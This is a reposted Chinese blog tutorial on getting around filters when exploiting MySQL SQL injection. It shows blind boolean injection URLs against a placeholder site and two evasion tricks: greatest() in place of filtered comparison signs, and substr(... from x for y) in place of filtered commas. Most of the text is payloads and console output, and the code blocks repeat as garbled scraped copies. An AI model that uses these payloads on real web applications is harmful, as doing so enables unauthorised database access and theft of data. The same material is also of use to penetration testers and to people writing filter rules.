mysql注射的过滤绕过技巧1 by 李劼杰

时间:2021-10-03 03:12:32

 

MySQL注射的过滤绕过技巧[1]

By lijiejie on 2014 年 10 月 11 日 

转自:http://www.lijiejie.com/mysql-injection-bypass-waf/

SQL注射的绕过技巧较多,此文仅做一些简单的总结。

前文已经提到,最好利用的注射点:

  1.  支持Union
  2.  可报错
  3. 支持多行执行、可执行系统命令、可HTTP Request等额外有利条件

若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。

1. 通过greatest函数绕过不能使用大小于符号的情况

猜解单个字符时,通常使用折半查找。

    mysql> select ascii(mid(user(),1,1)) < 150; ------------------------------ | ascii(mid(user(),1,1)) < 150 | ------------------------------ | 1 | ------------------------------
1 2 3 4 5 6 mysql > select ascii ( mid ( user ( ) , 1 , 1 ) ) < 150 ; -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ascii ( mid ( user ( ) , 1 , 1 ) ) < 150 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- |                              1 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。

比如,对于一个boolean based注入。尝试:

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150

http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150

上述两个页面返回的内容应该是不同的。

但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。

此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。

当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用:

    mysql> select greatest(ascii(mid(user(),1,1)),150)=150; ------------------------------------------ | greatest(ascii(mid(user(),1,1)),150)=150 | ------------------------------------------ | 1 | ------------------------------------------
1 2 3 4 5 6 mysql > select greatest ( ascii ( mid ( user ( ) , 1 , 1 ) ) , 150 ) = 150 ; -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | greatest ( ascii ( mid ( user ( ) , 1 , 1 ) ) , 150 ) = 150 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- |                                          1 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

如果小于150,则上述返回值为True。

2. 通过substr函数绕过不能使用逗号的情况

不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。

通常,猜解都是要用到逗号的,因为需要mid函数取字符呐:

    ascii(mid(user(),1,1))=150
1 ascii ( mid ( user ( ) , 1 , 1 ) ) = 150

绕过的方法是使用from x for y。语法类似:

    mid(user() from 1 for 1) 或 substr(user() from 1 for 1)
1 2 3 mid ( user ( ) from 1 for 1 )substr ( user ( ) from 1 for 1 )

以上同样是从第一个字符开始,取一位字符。

那么,不带逗号注入的语法,就可以变成:

    mysql> select ascii(substr(user() from 1 for 1)) < 150; ------------------------------------------ | ascii(substr(user() from 1 for 1)) < 150 | ------------------------------------------ | 1 | ------------------------------------------
1 2 3 4 5 6 mysql > select ascii ( substr ( user ( ) from 1 for 1 ) ) < 150 ; -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ascii ( substr ( user ( ) from 1 for 1 ) ) < 150 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- |                                          1 | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

是不是跟mid函数的效果是一样的,又没有用到逗号。

Posted in MySQL, 安全 | Tagged MySQL注入